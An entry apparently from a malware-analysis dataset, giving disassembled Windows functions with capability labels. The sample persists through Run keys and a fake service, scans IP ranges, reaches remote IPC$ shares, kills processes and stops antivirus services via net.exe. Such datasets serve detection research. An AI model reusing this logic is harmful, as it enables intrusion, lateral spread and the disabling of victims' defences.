joyce8/EMBER2024-capa huggingface dataset:
Function at 0x436f45
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x436f76
call fcn.00437750
mov dword [eax], esi
call fcn.0043773d
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.004342d5
add esp, 0x14
push 0x16
pop eax
jmp 0x436fcb
test dword [ebp + 0xc], 0xfffffff9
jne 0x436f52
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x436fa3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00437763
pop ecx
call fcn.0043773d
mov eax, dword [eax]
jmp 0x436fcb
test al, 0x10
jne 0x436fc9
test al, 1
je 0x436fc9
test byte [ebp + 0xc], 2
je 0x436fc9
call fcn.00437750
mov dword [eax], 5
call fcn.0043773d
mov dword [eax], 0xd
jmp 0x436f9a
xor eax, eax
pop esi
pop ebp
ret

Function at 0x44347a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004395c9
and dword [ebp - 4], 0
cmp dword [0x46e3b0], 0
mov ebx, eax
jne 0x44352b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4435dc
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4579b0
push edi
call esi
test eax, eax
je 0x4435dc
push eax
call fcn.00439557
mov dword [esp], 0x4579a0
push edi
mov dword [0x46e3b0], eax
call esi
push eax
call fcn.00439557
mov dword [esp], 0x45798c
push edi
mov dword [0x46e3b4], eax
call esi
push eax
call fcn.00439557
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x46e3b8], eax
call esi
push eax
call fcn.00439557
pop ecx
mov dword [0x46e3c0], eax
test eax, eax
je 0x44352b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00439557
pop ecx
mov dword [0x46e3bc], eax
mov eax, dword [0x46e3bc]
cmp eax, ebx
je 0x443583
cmp dword [0x46e3c0], ebx
je 0x443583
push eax
call fcn.004395d2
push dword [0x46e3c0]
mov esi, eax
call fcn.004395d2
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x443583
test edi, edi
je 0x443583
call esi
test eax, eax
je 0x44357a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x44357a
test byte [ebp - 0xc], 1
jne 0x443583
or dword [ebp + 0x10], 0x200000
jmp 0x4435bc
mov eax, dword [0x46e3b4]
cmp eax, ebx
je 0x4435bc
push eax
call fcn.004395d2
pop ecx
test eax, eax
je 0x4435bc
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4435bc
mov eax, dword [0x46e3b8]
cmp eax, ebx
je 0x4435bc
push eax
call fcn.004395d2
pop ecx
test eax, eax
je 0x4435bc
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x46e3b0]
call fcn.004395d2
pop ecx
test eax, eax
je 0x4435dc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4435de
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Copy file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x20c
lea eax, [esp + 4]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push edi
push 0x104
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x10]
push str.WinHelp.exe
push ecx
call edi
lea edx, [esp + 0xc]
mov ebx, eax
push edx
push 0x20006
push 0
push 0x414040
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401066
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x20c
ret
mov ecx, dword [esp + 0xc]
push 0x104
push ebx
push 1
push 0
push str.WinHelp
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40109b
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x20c
ret
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x10]
push 0x104
push ecx
call esi
lea edx, [esp + 0x114]
push 0x104
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x10]
push str.WinHelp.exe
push eax
call edi
push 1
lea ecx, [esp + 0x118]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x20c
ret

Function at 0x401100
Capabilities:
Create thread

Disassembly:
sub esp, 0xc
push edi
mov ecx, 0x43
xor eax, eax
mov edi, 0x43f000
rep stosd dword es:[edi], eax
push 0x104
push 0x43f000
push 0
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x43f110
push 0
push 0
push 0x401160
lea eax, [esp + 0x14]
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
add esp, 0xc
ret
Function at 0x4016e0
Capabilities:
Create thread
Initialize winsock library
Set socket configuration

Disassembly:
sub esp, 0x19c
push ebx
push ebp
push esi
lea eax, [esp + 0x18]
push edi
push eax
push 0x202
mov dword [esp + 0x18], 1
call sub.WSOCK32.dll_WSAStartup
call fcn.00402060
push eax
call sub.WSOCK32.dll_inet_addr
mov edi, eax
push edi
call sub.WSOCK32.dll_ntohl
mov esi, eax
push edi
inc esi
call sub.WSOCK32.dll_ntohl
mov edi, eax
add edi, 0x258
call sub.WSOCK32.dll_WSACleanup
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0x1c]
push ecx
push 0x202
call sub.WSOCK32.dll_WSAStartup
push 0
push 0xa
push 0xa
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
cmp esi, edi
mov dword [0x43f1d8], eax
jg 0x401792
mov edx, dword [0x43f1d8]
push 0xffffffffffffffff
push edx
call ebp
lea eax, [esp + 0x18]
push eax
push 0
push esi
push 0x401850
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, eax
test ebx, ebx
je 0x401792
push 0x3c
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, edi
jle 0x401756
mov ecx, dword [0x43f1d8]
push 0xffffffffffffffff
push ecx
call ebp
mov eax, dword [0x43f1d8]
lea edx, [esp + 0x14]
push edx
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x4017c8
cmp dword [esp + 0x14], 9
je 0x4017d3
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401792
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x401801
call fcn.00402110
push eax
call sub.WSOCK32.dll_inet_addr
mov edi, eax
push edi
call sub.WSOCK32.dll_ntohl
mov esi, eax
push edi
inc esi
call sub.WSOCK32.dll_ntohl
mov edi, eax
add edi, 0x100
jmp 0x40182d
call fcn.00401fa0
push eax
call sub.WSOCK32.dll_inet_addr
mov edi, eax
push edi
call sub.WSOCK32.dll_ntohl
mov esi, eax
push edi
inc esi
call sub.WSOCK32.dll_ntohl
mov edi, eax
add edi, 0x258
mov dword [esp + 0x10], 0
mov ecx, dword [0x43f1d8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call sub.WSOCK32.dll_WSACleanup
jmp 0x401730
Function at 0x401ee0
Capabilities:
Connect network resource

Disassembly:
sub esp, 0x54
mov ax, word [0x4142b0]
mov cl, byte [0x4142b2]
push ebx
push esi
push edi
mov word [esp + 0x2c], ax
mov byte [esp + 0x2e], cl
mov ecx, 0xb
xor eax, eax
lea edi, [esp + 0x2f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x64]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x2c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x10], eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x2c]
and ecx, 3
mov dword [esp + 0x1c], eax
rep movsb byte es:[edi], byte [esi]
mov edi, str.ipc_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x28], eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov edx, dword [esp + 0x68]
mov ecx, ebx
and ecx, 3
push eax
mov eax, dword [esp + 0x70]
push edx
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x34]
push eax
mov dword [esp + 0x2c], ecx
lea ecx, [esp + 0x18]
push ecx
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
pop edi
pop esi
sete al
pop ebx
add esp, 0x54
ret

Function at 0x401fa0
Capabilities:
Get hostname
Resolve dns

Disassembly:
sub esp, 0x84
mov ax, word [0x43f1dc]
push edi
mov word [esp + 4], ax
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 6]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 4]
push 0x80
push ecx
stosb byte es:[edi], al
call sub.WSOCK32.dll_gethostname
test eax, eax
jne 0x402051
lea edx, [esp + 4]
push esi
push edx
call sub.WSOCK32.dll_gethostbyname
mov edi, eax
test edi, edi
je 0x402043
xor esi, esi
mov eax, dword [edi + 0xc]
cmp dword [eax + esi], 0
je 0x402043
xor ecx, ecx
mov dword [0x43f1c4], ecx
mov dword [0x43f1c8], ecx
mov dword [0x43f1cc], ecx
mov dword [0x43f1d0], ecx
mov dword [0x43f1d4], ecx
mov edx, dword [edi + 0xc]
mov eax, dword [edx + esi]
xor edx, edx
mov cl, byte [eax + 3]
mov dl, byte [eax + 2]
push ecx
push edx
xor ecx, ecx
xor edx, edx
mov cl, byte [eax + 1]
mov dl, byte [eax]
push ecx
push edx
push 0x414594
push 0x43f1c4
call fcn.0040a64c
add esp, 0x18
add esi, 4
jmp 0x401fe8
pop esi
mov eax, 0x43f1c4
pop edi
add esp, 0x84
ret
xor eax, eax
pop edi
add esp, 0x84
ret
Function at 0x402060
Capabilities:
Get hostname
Resolve dns

Disassembly:
sub esp, 0x84
mov ax, word [0x43f1dc]
push edi
mov word [esp + 4], ax
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 6]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 4]
push 0x80
push ecx
stosb byte es:[edi], al
call sub.WSOCK32.dll_gethostname
test eax, eax
pop edi
jne 0x402104
lea edx, [esp]
push edx
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x402104
mov ecx, dword [eax + 0xc]
cmp dword [ecx], 0
je 0x402104
xor edx, edx
xor ecx, ecx
mov dword [0x43f1c4], edx
mov dword [0x43f1c8], edx
mov dword [0x43f1cc], edx
mov dword [0x43f1d0], edx
mov dword [0x43f1d4], edx
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov cl, byte [eax + 3]
mov dl, byte [eax + 2]
push ecx
push edx
xor ecx, ecx
xor edx, edx
mov cl, byte [eax + 1]
mov dl, byte [eax]
push ecx
push edx
push 0x414594
push 0x43f1c4
call fcn.0040a64c
add esp, 0x18
mov eax, 0x43f1c4
add esp, 0x84
ret
xor eax, eax
add esp, 0x84
ret

Function at 0x402190
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
lea eax, [esp]
lea ecx, [esp + 4]
push eax
push 0
push 0
push 0x4021d0
push 0
push ecx
mov dword [esp + 0x24], 1
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x10
ret

Function at 0x402240
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4122f8
push 0x40a574
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x120
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x130], esi
mov ebx, 0xd000
push 0x104
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.ODBC16.dll
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 4], esi
push esi
push 0x80
push 2
push esi
push 3
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x130], edi
cmp edi, 0xffffffff
je 0x4022f1
cmp ebx, esi
jbe 0x4022ea
push 0
lea edx, [ebp - 0x20]
push edx
mov eax, ebx
sub eax, esi
push eax
lea ecx, [esi + 0x4145a0]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4022f1
add esi, dword [ebp - 0x20]
mov dword [ebp - 0x12c], esi
jmp 0x4022be
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
call fcn.00402316
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402330
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x412308
push 0x40a574
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x120
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x130], esi
mov ebx, 0xd000
push 0x104
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.msjdbc11.dll
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 4], esi
push esi
push 0x80
push 2
push esi
push 3
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x130], edi
cmp edi, 0xffffffff
je 0x4023e1
cmp ebx, esi
jbe 0x4023da
push 0
lea edx, [ebp - 0x20]
push edx
mov eax, ebx
sub eax, esi
push eax
lea ecx, [esi + 0x4145a0]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4023e1
add esi, dword [ebp - 0x20]
mov dword [ebp - 0x12c], esi
jmp 0x4023ae
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
call fcn.00402406
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402420
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x412318
push 0x40a574
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x120
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x130], esi
mov ebx, 0xd000
push 0x104
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x421600
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 4], esi
push esi
push 0x80
push 2
push esi
push 3
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x130], edi
cmp edi, 0xffffffff
je 0x4024d1
cmp ebx, esi
jbe 0x4024ca
push 0
lea edx, [ebp - 0x20]
push edx
mov eax, ebx
sub eax, esi
push eax
lea ecx, [esi + 0x4145a0]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4024d1
add esi, dword [ebp - 0x20]
mov dword [ebp - 0x12c], esi
jmp 0x40249e
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
call fcn.004024f6
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402510
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.MSSIGN30.DLL
push str.RUNDLL32.EXE
call esi
push str.__ondll_reg
push eax
call esi
mov esi, eax
lea eax, [esp + 4]
push eax
push 0x20006
push 0
push 0x414040
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40255e
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
pop ecx
ret
mov edx, dword [esp + 4]
push 0x104
push esi
push 1
push 0
push str.VFW_Encoder_Decoder_Settings
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40258c
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
pop ecx
ret
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x4025a0
Capabilities:
Create service
Persist via windows service

Disassembly:
sub esp, 0x64
mov ecx, 9
xor eax, eax
push esi
push edi
mov esi, str.Rundll32.exe_msjdbc11.dll_ondll_server
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0xf
lea edi, [esp + 0x2f]
rep stosd dword es:[edi], eax
push 2
push 0
push 0
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x402613
push 0
push 0
push 0
push 0
lea eax, [esp + 0x18]
push 0
push eax
push 1
push 2
push 0x10
push 0xf01ff
push str.Windows_Management_Protocol_v.0__experimental_
push str.Windows_Management_Protocol_v.0__experimental_
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
je 0x402613
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call edi
push esi
call edi
pop edi
pop esi
add esp, 0x64
ret

Function at 0x402620
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
lea eax, [esp]
lea ecx, [esp + 4]
push eax
push 0
push 0
push 0x402660
push 0
push ecx
mov dword [esp + 0x24], 1
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x10
ret

Function at 0x402bc0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
lea eax, [esp]
lea ecx, [esp + 4]
push eax
push 0
push 0
push 0x402c00
push 0
push ecx
mov dword [esp + 0x24], 1
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x10
ret
Function at 0x402e90
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x1210
call fcn.0040a7b0
push ebx
push ebp
push esi
push edi
mov ecx, 7
mov esi, str.UnknownProcess
lea edi, [esp + 0x18]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0x7a
lea edi, [esp + 0x36]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x220]
push eax
push 0x1000
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x402ee8
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x1210
ret
mov ebp, dword [esp + 0x14]
mov ebx, 0
shr ebp, 2
je 0x402f90
lea edi, [esp + 0x220]
mov edx, dword [edi]
push edx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x402f5b
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
push eax
push 4
push ecx
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x402f5b
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
push 0x208
push edx
push eax
push esi
call sub.PSAPI.DLL_GetModuleBaseNameW
mov ecx, dword [esp + 0x1224]
lea edx, [esp + 0x18]
push ecx
push edx
call fcn.0040a8d1
add esp, 8
test eax, eax
je 0x402f77
inc ebx
add edi, 4
cmp ebx, ebp
jb 0x402f01
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1210
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + ebx*4 + 0x220]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1210
ret
mov esi, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1210
ret
Function at 0x403450
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
call fcn.00403990
lea eax, [esp]
lea ecx, [esp + 4]
push eax
push 0
push 0
push 0x403490
push 0
push ecx
mov dword [esp + 0x24], 1
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x10
ret
Function at 0x4038d0
Capabilities:
Get hostname
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x98
xor eax, eax
mov cx, word [0x43f1dc]
mov dword [esp + 1], eax
push edi
mov dword [esp + 9], eax
mov word [esp + 0x18], cx
mov dword [esp + 0xd], eax
mov ecx, 0x1f
mov dword [esp + 0x11], eax
lea edi, [esp + 0x1a]
mov word [esp + 0x15], ax
lea edx, [esp + 0x18]
mov byte [esp + 0x17], al
push 0x80
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
mov byte [esp + 0xc], 0
stosb byte es:[edi], al
call dword [sym.imp.WSOCK32.dll_gethostname]
test eax, eax
jne 0x403985
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x403971
xor esi, esi
mov ecx, dword [edi + 0xc]
mov eax, dword [ecx + esi]
test eax, eax
je 0x403971
xor edx, edx
xor ecx, ecx
mov dl, byte [eax + 3]
mov cl, byte [eax + 2]
push edx
push ecx
xor edx, edx
xor ecx, ecx
mov dl, byte [eax + 1]
mov cl, byte [eax]
push edx
push ecx
lea edx, [esp + 0x18]
push 0x414594
push edx
call fcn.0040a64c
add esp, 0x18
add esi, 4
jmp 0x403939
lea eax, [esp + 8]
push eax
call dword [sym.imp.WSOCK32.dll_inet_addr]
pop esi
pop edi
add esp, 0x98
ret
xor eax, eax
pop edi
add esp, 0x98
ret

Function at 0x403990
Capabilities:
Delete file

Disassembly:
mov eax, 0x1000
call fcn.0040a7b0
push esi
push edi
push 0x4140b0
push str.c:NetLog.txt
xor edi, edi
call fcn.0040a3d2
mov esi, eax
add esp, 8
test esi, esi
je 0x4039fa
test byte [esi + 0xc], 0x10
jne 0x4039de
push esi
push 0x1000
lea eax, [esp + 0x10]
push 1
push eax
call fcn.0040a23e
mov al, byte [esi + 0xc]
add esp, 0x10
add edi, 0x1000
test al, 0x10
je 0x4039bc
push esi
call fcn.0040a0e7
add esp, 4
cmp edi, 0xafc8
jle 0x4039fa
push str.c:NetLog.txt
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
add esp, 0x1000
ret

Function at 0x403c00
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x94
lea eax, [esp]
mov dword [esp], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x403c31
push str.Unable_to_get_version_info_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
add esp, 0x94
ret
mov ecx, dword [esp + 0x10]
xor eax, eax
cmp ecx, 1
sete al
add esp, 0x94
ret

Function at 0x403cc0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
lea eax, [esp]
lea ecx, [esp + 4]
push eax
push 0
push 0
push 0x403cb0
push 0
push ecx
mov dword [esp + 0x24], 1
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x10
ret
Function at 0x403d70
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x412328
push 0x40a574
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x20]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x403e01
push 1
push str.SeDebugPrivilege
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.00403d00
add esp, 0xc
test eax, eax
je 0x403e01
mov edx, dword [ebp + 8]
push edx
push edi
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x24], esi
cmp esi, edi
je 0x403e01
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x403e01
mov dword [ebp - 0x28], 1
mov dword [ebp - 4], 0xffffffff
call fcn.00403e26
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403e40
Capabilities:
Create process on windows

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push ebp
push esi
push edi
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [esp + 0x10], str.stop__Symantec_AntiVirus_Client_
mov dword [esp + 0x14], str.stop__Symantec_AntiVirus_Server_
mov dword [esp + 0x18], str.stop__Rising_Realtime_Monitor_Service_
lea esi, [esp + 0x10]
mov ebp, 3
mov eax, dword [esi]
push 0
push 0
push eax
push str.net.exe
push str.open
push 0
call edi
push 0x64
call ebx
add esi, 4
dec ebp
jne 0x403e74
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret